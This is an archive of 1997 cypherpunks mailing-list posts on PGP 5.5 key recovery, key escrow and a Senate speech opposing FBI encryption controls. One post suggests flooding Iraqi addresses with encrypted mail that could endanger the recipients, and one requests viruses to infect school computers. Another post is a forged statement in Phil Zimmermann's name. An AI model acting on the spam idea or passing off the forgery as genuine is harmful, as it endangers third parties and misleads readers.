
> Of course, spamming every Iraqui email address you could find with encoded
> mail could cause a _lot_ of trouble.

  Not that you're a troublemaker...

C-Spy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Thu, 23 Oct 1997 21:41:58 +0800
To: cypherpunks@Algebra.COM
Subject: Re: shared keys, proxy encryption (was Re: PGP 5.5 CMR/GAK: a
In-Reply-To: <877514566.20581.193.133.230.33@unicorn.com>
Message-ID: <slrn64ukl2.2ge.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Jon Callas wrote:
>This is why any sort of shared or escrowed keys suck. But in most cases

... especially recoverable (escrowed) message keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Thu, 23 Oct 1997 21:42:02 +0800
To: cypherpunks@Algebra.COM
Subject: Re: shared keys, proxy encryption (was Re: PGP 5.5 CMR/GAK: a
In-Reply-To: <199710222033.VAA05775@server.test.net>
Message-ID: <slrn64ukqp.2ge.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Adam Back wrote:
>One thing I never did get clear is: does pgp5.0 know how to reply to
>the CMR denoted extra recipients?

Yes. (AFAI read the source). It uses ALL these keys optional or required to
encrypt an answer to. I a keys is missing encryption fails.

>It also avoids key escrow for communication keys, and allows separate
>personal and company use storage keys, makes recommendations for

Included in the current Open PGP draft.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 24 Oct 1997 01:49:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Singaporean control freaks & CMR
Message-ID: <cb7aef8839502ded654b6de27813cb63@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back writes:
> The problem is that pgp5.x is both an email encryption system and a
> file encryption system.  So PGP Inc argue that they need the recovery
> features for files.  Well OK, but for emails in transit?

Define "in transit".  Specifically, when exactly does email stop being
"in transit".  When it is received on a mail server?  Transfered to the
destination computer?  Displayed to the user?  Saved in an archive?

How long might a piece of email spend "in transit"?  Compare and contrast
with the amount of time a piece of data from an encrypted phone call
spends in transit.  Or an SSL protected HTTPS web transaction.

Do you understand the difference between transit times of a fraction
of a second and of days or weeks?  Does this suggest any differences in
the need for recovery of encrypted data "in transit"?

Not all communications are alike.  The longer data spends "in transit"
the more need there is for recovery features.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Thu, 23 Oct 1997 21:59:48 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [rc5] The unknown message is...
In-Reply-To: <199710230856.EAA22265@users.invweb.net>
Message-ID: <slrn64ulp9.2ge.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* William H. Geiger III wrote:
>>* Lutz Donnerhacke wrote:
>>You should not fake User IDs.
>
>You should sign your messages. :P

I should work...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 24 Oct 1997 03:04:13 +0800
To: cypherpunks@toad.com
Subject: Re: PGP, Inc.--What were they thinking?
Message-ID: <v03007817b0753fed7a46@[204.254.21.122]>
MIME-Version: 1.0
Content-Type: text/plain



>X-POP3-Rcpt: declan@relay.pathfinder.com
>From: spencer_ante@webmagazine.com
>X-Lotus-FromDomain: PCWORLD
>To: whgiii@invweb.net
>cc: hallam@ai.mit.edu, declan@well.com, aba@dcs.ex.ac.uk, tcmay@got.net,
>        fight-censorship@vorlon.mit.edu
>Date: Thu, 23 Oct 1997 10:36:44 -0700
>Subject: Re: PGP, Inc.--What were they thinking?
>Mime-Version: 1.0
>Sender: owner-fight-censorship@vorlon.mit.edu
>X-Loop: fight-censorship@vorlon.mit.edu
>X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/
>X-FC-URL: To join send "subscribe" to fight-censorship-request@vorlon.mit.edu
>
>
>So, I was driving to work this morning listening to KQED's Forum program
>and lo and behold: Good 'ol Michael Krasny is leading a discussion on
>surveillance in the workplace that centered around a new survey/special
>report that PC World just published in its November issue.
>
>You Are Being Watched
>An exclusive PC World survey of 200 company executives shows that more and
>more businesses are
>monitoring their employees' Web use. Here's the lowdown on what you should
>know about surfing
>the Net on company time.
>
>http://www.pcworld.com/workstyles/online/articles/nov97/1511p245.html
>
>Should provide some interesting points for discussion.
>
><<<S>>>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Griffiths <T.G.Griffiths@exeter.ac.uk>
Date: Thu, 23 Oct 1997 22:30:00 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Use crypto, face a death squad
In-Reply-To: <87761312106967@cs26.cs.auckland.ac.nz>
Message-ID: <7c7e99dd47%Tim@tim01.ex.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain



In message <87761312106967@cs26.cs.auckland.ac.nz> Peter wrote:

> 
> There have been various rumours and comments over the past few years that
> the 
> use of crypto in certain countries (Syria, Iraq, possibly China) is very 
> dangerous for the end user, but very little actual evidence to substantiate
> this. 
> [snip, with reference to Iraq]
>  He can't remember the exact details any more, but the implication was 
> that any encrypted messages sent to them would result in them quietly 
> dissapearing.

So a possible consequence of someone from Iraq being obnoxious on a
mailing list, to someone in the know, could be several PGP-encrypted
mails dumped in their inbox... A little extreme, for us gentles, but the
threat should be effective.

Of course, spamming every Iraqui email address you could find with encoded
mail could cause a _lot_ of trouble.


Tim G.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Snoop Remailer <sr@dev.null>
Date: Fri, 24 Oct 1997 06:56:12 +0800
To: cypherpunks@toad.com
Subject: Snoop Remailer Statistics
Message-ID: <344FD159.1C1@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Snoop Remailer Statistics for week ending Oct 23, 1997:

Percentage of PGP Employees anonymously supporting PGP 5.5: 35%

Percentage of PGP Employees anonymously slamming PGP 5.5: 35%

Percentage of PGP Employees anonymously pissing in both directions: 35%

Percentage of PGP Employees anonymously fooling anyone: 2%

Percentage of PGP Employees who can't figure out how to use anonymous
remailers: 3%

Percentage of PGP Employees about to quit using the Snoop Remailer: 100%





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 24 Oct 1997 05:27:19 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Note from PGP employee on MRK (sic)
Message-ID: <c45c43363e0d1cd070afa7000cab22a1@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Declan McCullagh wrote:
>A friend of mine by the name of Jason Bobier <jason@pgp.com> happens
>to work at PGP, Inc.  I'll preface his comments by pointing out that
>I'm sure he doesn't speak for the company in any way.
>
>> Unfortunately these people just don't get it. Corporations refused
>> to buy 5.0 because it did not have any way for the corps to get at
>> email encrypted to their employees. There are some very legitimate
>> uses of this, such as when an employee dies and someone else has
>> to take over for them.
>>
>> Without corps buying the product, there is no PGP, Inc., and thus
>> no dedication of resources to the production of PGP. This leads us
>> back to the floundering state of development that PGP was in
>> before 5.0.
>>
>> They also don't seem to realize that you always have the ability
>> to remove the MRK (sic) from your list of recipients.
>>
>> Sometimes I really feel like screaming at these people. _All_ of
>> the developers at PGP are personal privacy zealots and no one
>> likes the idea of the MRK (sic). That is why we refuse to make them
>> required. It is also why there still are freeware and personal
>> versions of the product. I wish they would just realize that we
>> aren't some evil group of people that are solely plotting how to
>> make the most money off of this. Most everyone at PGP has
>> internalized personal privacy as a cause (actually most had it
>> before they joined PGP).
>>
>> *sigh* OK, enough ranting. Feel free to quote various parts of
>> this if you feel like responding to the list.

I would hope that the employees of PGP, Inc. take a deep breath and
seriously consider the many cogent and well thought out points its
critics have made.  We haven't seen much of this, unfortunately.

(And those who are claiming that their critics are rude should recall
how Dorothy Denning was treated.)

It is the unfortunate reality that good people can join a good company
which then later does bad things.  This can occur due to moles and
internal subversion, greed, or simply foolishness.

I have seen repeated claims by PGP, Inc. employees that they are
privacy zealots.  I'm sure some of them really believe what they are
saying.  But, these points are irrelevant if the result is the wide
dispersal of tools which can be effortlessly converted into a
mandatory GAK system.

A number of people have been arguing that it is necessary for the
company to issue snoopware because they can make money doing it.  How
often have we rejected this argument when the company is AT&T, ITT,
Standard Oil, United Fruit, or Microsoft?  This rejection is proper,
and it applies to PGP, Inc. like any other company.

Another claim is that by making money selling snoopware, the proceeds
may be taken and used for privacy software.  Wouldn't it make more
sense to earn money in some more palatable way and then plough the
proceeds into a company which is writing privacy software?

I'm sure most PGP, Inc. employees would reject the "We had to destroy
the village to save it" line of thinking if it were found in any other
context.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNE+ow5aWtjSmRH/5AQFsWAf+LWjZNCdR6jdAsffX4PR6KLhX8W+V4jkQ
J6odSQNpStVkFhPtcByG+AWaPQLmKxlwVKcO44pQVhTIDhMUlFniSnYtQ/zq+6RF
aeqNG7WLE/58g9Pgh78iBOfJ4wKLi/U5dzpdDX1Ua86B8uzcGKVGTerbN6QoFwH2
aOd2tytomYWmFQeMdguN43Ak9hP+ruA1dcqrlZjRPhEBhBJOfbYLSYt3GPDn6Cqq
jTL/Ui3fu4KHcK8zGgVnXVwQNL0XubBhQmTZ54ohxywejt1A2Q4g4sh0oxvSCEDY
giqk4uElp5an7K+N1tY+vExvkjdRkjsAQEtFAgp4fzHozbS5jNXBWA==
=FFl7
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "LEANDRO R. PREDA" <lrp@warp.com.br>
Date: Fri, 24 Oct 1997 03:31:30 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <MAPI.Id.0016.00727020202020203030303330303033@MAPI.to.RFC822>
MIME-Version: 1.0
Content-Type: text/plain



Please I need your help!
I need of coputers virus ,
To I infectin the my computers school






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Fri, 24 Oct 1997 06:52:38 +0800
To: cypherpunks@cyberpass.net (Cypherpunks)
Subject: US Senator Lott Criticizes FBI Crypto Plans (fwd)
Message-ID: <199710232229.SAA30870@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



An entity claiming to be Matthew Gaylor wrote:
>From freematt@coil.com  Thu Oct 23 18:18:01 1997
X-Sender: freematt@bronze.coil.com
Message-Id: <v0213050bb0756fe15ee5@[198.4.94.192]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 23 Oct 1997 18:01:40 -0400
To: freematt@coil.com (Matthew Gaylor)
From: freematt@coil.com (Matthew Gaylor)
Subject: US Senator Lott Criticizes FBI Crypto Plans

From: "--Todd Lappin-->" <telstar@wired.com>
Subject: Senator Lott Criticizes FBI Crypto Plans
Posted to the fight-censorship@vorlon.mit.edu mailing list
URL: Fight-Censorship is at http://www.eff.org/~declan/fc/
To join send "subscribe" to fight-censorship-request@vorlon.mit.edu



From: http://www.cdt.org/crypto/legis_105/lott.html

In a statement entered into the Congressional Record, Senator Lott urged
his Senate colleagues to "deal with reality" by passing legislation to
relax cold-war era export controls on encryption, and to reject FBI efforts
to impose new domestic law enforcement access requirements.

Full text from: http://www.cdt.org/crypto/legis_105/971021_lott.html

------------------------------------------------------------------------
ENCRYPTION (Senate - October 21, 1997)
------------------------------------------------------------------------

[Page: S10879]

Mr. LOTT. Mr. President, I would like to report to my colleagues on the
activities in the House to establish a new export policy on encryption.
This is an issue that is still at the top of my list of legislation I
hope this Congress can resolve within the next 2 months. The House's
actions last month turned a spotlight on how this issue should
ultimately be resolved.

Let me briefly review the issue. Encryption is a mathematical way to
scramble and unscramble digital computer information during transmission
and storage. The strength of encryption is a function of its size, as
measured in computer bits. The more bits an encryption system has, the
more difficult it is for someone else to illegally unscramble or hack
into that information.

Today's computer encryption systems commonly used by businesses range
from 40 bits in key length to 128 bits. A good hacker, let's say a
criminal or a business competitor, can readily break into a computer
system safeguarded by a lower-technology 40-bit encryption system. On
the other hand, the 128-bit encryption systems are much more complex and
pose a significant challenge to any would-be hacker.

Obviously, all of us would prefer to have the 128-bit systems. And
equally as important, we would like to buy such systems from American
companies. Firms we can routinely and safely do business with. Foreign
companies and individuals also want to buy such systems from American
companies. They admire and respect our technological expertise, and
trust our business practices. The United States remains the envy of the
world in terms of producing top-notch encryption and information
security products.

However, current regulations prohibit U.S. companies from exporting
encryption systems stronger than the low-end, 40-bit systems. A few
exceptions have been made for 56-bit systems. Until recently, it has
been the administration's view that stronger encryption products are so
inherently dangerous they should be classified at a level equal to
munitions, and that the export of strong encryption must be heavily
restricted.

While we are restricting our own international commerce, foreign
companies are now manufacturing and selling stronger, more desirable
encryption systems, including the top-end 128-bit systems, anywhere in
the world they want. Clearly, our policy doesn't make sense. Just as
clearly, our export policies on encryption have not kept up to speed
with either the ongoing changes in encryption technology or the needs
and desires of foreign markets for U.S. encryption products.

My intention is neither to jeopardize our national security nor harm law
enforcement efforts. I believe we must give due and proper regard to the
national security and law enforcement implications of any changes in our
policy regarding export of encryption technology. But it is painfully
obvious we must modernize our export policies on encryption technology,
so that U.S. companies can participate in the world's encryption
marketplace. The legislative initiative on this issue has always been
about exports, but this summer that changed.

During the past month, the FBI has attempted to change the debate by
proposing a series of new mandatory controls on the domestic sale and
use of encryption products. Let me be clear. There are currently no
restrictions on the rights of Americans to use encryption to protect
their personal financial or medical records or their private e-mail
messages. There have never been domestic limitations, and similarly,
American businesses have always been free to buy and use the strongest
possible encryption to protect sensitive information from being stolen
or changed. But now, the FBI proposes to change all that.

The FBI wants to require that any company that produces or offers
encryption security products or services guarantee immediate access to
plain text information without the knowledge of the user. Their proposal
would subject software companies and telecommunications providers to
prison sentences for failure to guarantee immediate access to all
information on the desktop computers of all Americans. That would move
us into an entirely new world of surveillance, a very intrusive
surveillance, where every communication by every individual can be
accessed by the FBI.

Where is probable cause? Why has the FBI assumed that all Americans are
going to be involved in criminal activities? Where is the Constitution?

And how would this proposal possibly help the FBI? According to a
forthcoming book by the M.I.T. Press, of the tens of thousands of cases
handled annually by the FBI, only a handful have involved encryption of
any type, and even fewer involved encryption of computer data. Let's
face it--despite the movies, the FBI solves its cases with good
old-fashioned police work, questioning potential witnesses, gathering
material evidence, and using electronic bugging or putting microphones
on informants. Restricting encryption technology in the U.S. would not
be very helpful to the FBI.

The FBI proposal won't work. I have talked with experts in the world of
software and cryptography, who have explained that the technology which
would provide compliance with the FBI standard simply does not exist.
The FBI proposal would force a large unfunded mandate on our high
technology firms, at a time when there is no practical way to accomplish
that mandate.

Rather than solve problems in our export policy, this FBI proposal would
create a whole new body of law and regulations restricting our domestic
market.

This and similar proposals would also have a serious impact on our
foreign market. Overseas businesses and governments believe that the
U.S. might use its keys to computer encryption systems to spy on their
businesses and politicians. Most U.S. software and hardware
manufacturers believe this is bad for business and that nobody will
trust the security of U.S. encryption products if this current policy
continues. In fact, this proposal appears to violate the European
Union's data-privacy laws, and the European Commission is expected to
reject it this week.

So, the FBI proposal would: Invade our privacy; be of minimal use to the
FBI; would require nonexistent technology; would create new
administrative burdens; and would seriously damage our foreign markets.

This is quite a list.

Mr. President, the FBI proposal is simply wrong. I have learned that
even the administration does not support this new FBI proposal. So why
does the FBI believe it must now subject all Americans to more and more
surveillance?

This independent action by the FBI has created confusion and mixed
signals which are troublesome for the Senate as it works on this
legislation. Perhaps the FBI and the Justice Department need to focus
immediately on a coordinated encryption position.

Mr. President, I congratulate the members of the House Commerce
Committee for rejecting this FBI approach by a vote margin of more than
2 to 1.

I am sure all of my colleagues are sympathetic to the fact that emerging
technologies create new problems for the FBI.

But we must acknowledge several truths as Congress goes forward to find
this new policy solution. People increasingly need strong information
security through encryption and other means to protect their personal
and business information. This demand will grow, and somebody will meet
it. In the long term, it is clearly in our national interest that U.S.
companies meet the market demand. Individuals and businesses will either
obtain that protection from U.S. firms or from foreign firms. I firmly
believe that all of our colleagues want American firms to successfully
compete for this business. Today there are hundreds of suppliers of
strong encryption in the world marketplace. Strong encryption can be
easily downloaded off the Internet. Even if Congress wanted to police or
eliminate encryption altogether, I am not sure that is doable.

So, let's deal with reality. Clamping down on the constitutional rights
of American citizens, in an attempt to limit the use of a technology, is
the wrong solution. The wrong solution. This is especially true with
encryption technology because it has so many beneficial purposes. It
prevents hackers and espionage agents from stealing valuable
information, or worse, from breaking into our own computer networks. It
prevents them from disrupting our power supply, our financial markets,
and our air traffic control system. This is scary--and precisely why we
want this technology to be more available.

Only a balanced solution is acceptable. Ultimately, Congress must
empower Americans to protect their own information. Americans should not
be forced to only communicate in ways that simply make it more
convenient for law enforcement officials. This is not our national
tradition. It is not consistent with our heritage. It should not become
a new trend.

Mr. President, I would like to establish a framework to resolve this
difficult issue. I hope to discuss it with the chairmen and ranking
members of the key committees. I especially look forward to working with
the chairman of the Commerce, Science and Transportation Subcommittee on
Communications, Senator Burns. He was the first to identify this issue
and try to solve it legislatively. His approach on this issue has always
been fair and equitable, attempting to balance industry wants with law
enforcement requirements.

I believe there are other possible ideas which could lead to a consensus
resolution of the encryption issue. It is my hope that industry and law
enforcement can come together to address these issues, not add more
complexity and problems. The bill passed by the House Commerce Committee
included a provision establishing a National Encryption Technology
Center. It would be funded by in-kind contributions of hardware,
software, and technological expertise. The National Encryption
Technology Center would help the FBI stay on top of encryption and other
emerging computer technologies. This is a big step. This is a big step
in the right direction.

It is time to build on that positive news to resolve encryption policy.

Mr. President, there is an op-ed piece which appeared in the Wall Street
Journal on Friday, September 26. It is well written and informative,
despite the fact that its author is a good friend of mine. Mr. Jim
Barksdale is the president and CEO of Netscape Communications and is
well-versed in encryption technology. Mr. Barksdale's company does not
make encryption products; they license such products from others. They
sell Internet and business software and, as Jim has told me many times,
his customers require strong encryption features and will buy those
products either from us or foreign companies.

Again, let's deal with reality. The credit union manager in
Massachusetts, the real estate agent in Mississippi, the father writing
an e-mail letter to his daughter attending a California university, each
want privacy and security when using the computer. They will buy the
best systems available to ensure that privacy and security. And, in just
the same way, the banker in Brussels, Belgium, the rancher in Argentina,
and the mother writing e-mail to her daughter in a university in
Calcutta, India, each of these people also want privacy and security.
They also will buy the best systems available to ensure that privacy and
security. And they want encryption systems they trust--American systems.
That's what this debate is about.

Mr. President, if Congress does not modernize our export controls, we
run the real risk of destroying the American encryption industry. And we
risk giving a significant and unfair advantage to our foreign business
competitors.

[Page: S10881]

------------------------------------------------------------------------


**************************************************************************
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-- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip R. Zimmermann" <prz@pgp.com>
Date: Fri, 24 Oct 1997 09:00:18 +0800
To: cypherpunks@toad.com
Subject: Announcement
Message-ID: <344FED49.63BD@pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

  In light of the great amount of discussion currently taking
place in regard to the benefits and disadvantages of my latest
bid for money, power, fame and the respect of the corporate
computer industry, I would like to reassure the cynics that
my committment to privacy has never been stronger.
  However, I have reassessed my views of who truly has a right
to control access to privacy and have come to the conclusion
that privacy is too important an issue to be left in the hands
of the individual, with the obvious potential for misuse.
  After a review of the astounding success of the PGP Public Key
Server's use, in conjunction with our PGP Privy Products, in
ensuring proper key management and control of forgery, spoofing
and misuse of Public/Private Key technology, it has become clear
that individual privacy can best be ensured under the watchful
eye of those with the resources to provide proper surveillance
of those who have earned the right to privacy, in order to 
prevent abuse of that right.

  I would like to thank my other brother, Phil (Hallam-Baker),
for helping me to see that unsupervised use of the right to
privacy could result in individuals misusing that right to
publish extremely embarassing pictures of me in compromising
positions which could affect my credibility.
  As a matter of fact, it was PH-B who suggested my new
signature line.

PRZ
~~~
"I don't put them in the PGPtray...I just turn on the GAK."
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- -----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNE/sV17MfpC8gEO7EQKaCQCePKAo033KBg/O/T9Nz5IrGLIcCZcAn0L4
JDtdMovT9RZKA4PXwJTNdvpr
=Xvzl
- -----END PGP SIGNATURE-----

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNE/svUlfPVhsMJvfEQI2zgCg8aQ15PEU4eNItEprsLQHd2259fIAn2a1
wwKyecnoEQuCElB3ZtJBZQBz
=53jb
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip R. Zimmermann" <prz@pgp.com>
Date: Fri, 24 Oct 1997 08:50:48 +0800
To: cypherpunks@toad.com
Subject: PRZ Announcement
Message-ID: <344FEE15.673F@pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

  In light of the great amount of discussion currently taking
place in regard to the benefits and disadvantages of my latest
bid for money, power, fame and the respect of the corporate
computer industry, I would like to reassure the cynics that
my committment to privacy has never been stronger.
  However, I have reassessed my views of who truly has a right
to control access to privacy and have come to the conclusion
that privacy is too important an issue to be left in the hands
of the individual, with the obvious potential for misuse.
  After a review of the astounding success of the PGP Public Key
Server's use, in conjunction with our PGP Privy Products, in
ensuring proper key management and control of forgery, spoofing
and misuse of Public/Private Key technology, it has become clear
that individual privacy can best be ensured under the watchful
eye of those with the resources to provide proper surveillance
of those who have earned the right to privacy, in order to 
prevent abuse of that right.

  I would like to thank my other brother, Phil (Hallam-Baker),
for helping me to see that unsupervised use of the right to
privacy could result in individuals misusing that right to
publish extremely embarassing pictures of me in compromising
positions which could affect my credibility.
  As a matter of fact, it was PH-B who suggested my new
signature line.

PRZ
~~~
"I don't put them in the PGPtray...I just turn on the GAK."
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- -----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNE/sV17MfpC8gEO7EQKaCQCePKAo033KBg/O/T9Nz5IrGLIcCZcAn0L4
JDtdMovT9RZKA4PXwJTNdvpr
=Xvzl
- -----END PGP SIGNATURE-----

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNE/svUlfPVhsMJvfEQI2zgCg8aQ15PEU4eNItEprsLQHd2259fIAn2a1
wwKyecnoEQuCElB3ZtJBZQBz
=53jb
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: apache@bear.apana.org.au
Date: Fri, 24 Oct 1997 09:20:06 +0800
To: cypherpunks@toad.com
Subject: Good signatures -- match file contents
In-Reply-To: <344FEE15.673F@pgp.com>
Message-ID: <344FF0E4.74F5@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



Phillip R. Zimmermann wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> - -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
...
> PRZ
> ~~~
> "I don't put them in the PGPtray...I just turn on the GAK."
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> - -----BEGIN PGP SIGNATURE-----
> Version: PGP for Personal Privacy 5.0
> Charset: noconv
> 
> iQA/AwUBNE/sV17MfpC8gEO7EQKaCQCePKAo033KBg/O/T9Nz5IrGLIcCZcAn0L4
> JDtdMovT9RZKA4PXwJTNdvpr
> =Xvzl
> - -----END PGP SIGNATURE-----
> 
> -----BEGIN PGP SIGNATURE-----
> Version: PGP for Personal Privacy 5.0
> Charset: noconv
> 
> iQA/AwUBNE/svUlfPVhsMJvfEQI2zgCg8aQ15PEU4eNItEprsLQHd2259fIAn2a1
> wwKyecnoEQuCElB3ZtJBZQBz
> =53jb
> -----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Fri, 24 Oct 1997 10:34:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: US Senator Lott Criticizes FBI Crypto Plans (fwd)
Message-ID: <19971024015327.3587.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Senator Lott says:

>Where is probable cause? Why has the FBI assumed that all Americans are
>going to be involved in criminal activities? Where is the Constitution?

Bravo, Senator Lott!

It is a pleasure to hear a Senator speak out against the FBI's
plans.  Plus he is basing it on the Constitution as well as
practical problems.  So many Senators become mouthpieces for the FBI.
What a pleasant difference.

Senator Lott's words deserve to be widely heard.  Let us remember
that not everyone in the government is in Louis Freeh's pocket.  With
people like Senator Lott we can still be confident that Louis Freeh's
Big Brother plans can be stopped.

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Fri, 24 Oct 1997 11:10:02 +0800
To: cypherpunks@toad.com
Subject: Elliptic Curve Cryptography
Message-ID: <19971024024428.13967.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Is Elliptic Curve Cryptography a better encryption system than RSA ?



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason Bobier <jason@pgp.com>
Date: Fri, 24 Oct 1997 10:38:29 +0800
To: Randall Farmer <rfarmer@HiWAAY.net>
Subject: Re: PRZ Announcement
In-Reply-To: <Pine.OSF.3.96.971023202351.6541A-100000@fly.HiWAAY.net>
Message-ID: <3450054D.21B8@pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Randall Farmer wrote:
> 
> On Thu, 23 Oct 1997, there's no way in nine hells that Phillip R. Zimmermann
> could have wrote:
> ...
> >   However, I have reassessed my views of who truly has a right
> > to control access to privacy and have come to the conclusion
> > that privacy is too important an issue to be left in the hands
> > of the individual, with the obvious potential for misuse.
> 
> Hmm...I haven't checked any signatures or headers yet, but something tells me
> that this ain't PRZ. 

Randall,
Good eye. This forgery even fooled some of us at PGP.

However, I immediately recognized that PRZ's alleged new signature
line: "I don't put them in the PGPtray...I just turn on the GAK."
was backwards. That is Lying Jackoff Fuck Louis J. Freeh's line.

  Phil's new signature line now reads:
"I just put them in the PGPtray...I don't turn on the GAK."

Jason
~~~~~
"It's not a mask, it's an attitude."
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNFAEDsIoHaOg9jRdEQJrNQCeIPY8Kx8SX0XF/iI+Dt0lkZ94F3QAniWQ
BRedHLydVsyjxBLmfP6d9NNo
=rLE4
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Fri, 24 Oct 1997 04:40:08 +0800
To: cypherpunks@ssz.com
Subject: Re: PGP 5.5 and the corporate environment
Message-ID: <199710231922.UAA03157@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> Just a small aside.  Our help desk handles about 50 to 75
> "I forgot my password" requests per day.  This might be one
> small motivating factor why corporations desire an alternative
> method to recover encrypted files.

>From my experience I'm sure most of those are due to
daft password aging mechanisms.

    over-frequent compulsory changes

    forcing a change at no notice
    (password expired - think of a new one RIGHT NOW)

    forcing a new password on Fridays
    (Monday morning: I know my _old_ password!)

I have practically no trouble remembering numerous passphrases upwards
of 20 mixed chars if I use them semi-regularly and they don't change often.

Anyway, when I have forgotten a long passphrase it has only been
temporarily - a few days.   If your employee is reasonably confident
of decrypting his work within the week you're no worse off than if
he'd fluffed his cooking ("stand in boiling water" or something).


--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Randall Farmer <rfarmer@HiWAAY.net>
Date: Fri, 24 Oct 1997 09:59:05 +0800
To: "Phillip R. Zimmermann" <prz@pgp.com>
Subject: Re: PRZ Announcement
In-Reply-To: <344FEE15.673F@pgp.com>
Message-ID: <Pine.OSF.3.96.971023202351.6541A-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 23 Oct 1997, there's no way in nine hells that Phillip R. Zimmermann
could have wrote:
...
>   However, I have reassessed my views of who truly has a right
> to control access to privacy and have come to the conclusion
> that privacy is too important an issue to be left in the hands
> of the individual, with the obvious potential for misuse.

Hmm...I haven't checked any signatures or headers yet, but something tells me
that this ain't PRZ. For example, the Organization: header refers to Orwell's
1984 as a "blueprint"...forget the signatures (just got a message saying they
match -- either that person's lying, "they" cracked his key, or it's some
detail that has the program using a different key/ignoring some text), it is
psychologically impossible for someone to go from privacy advocate to
1984-as-a-blueprint that quick.

---------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
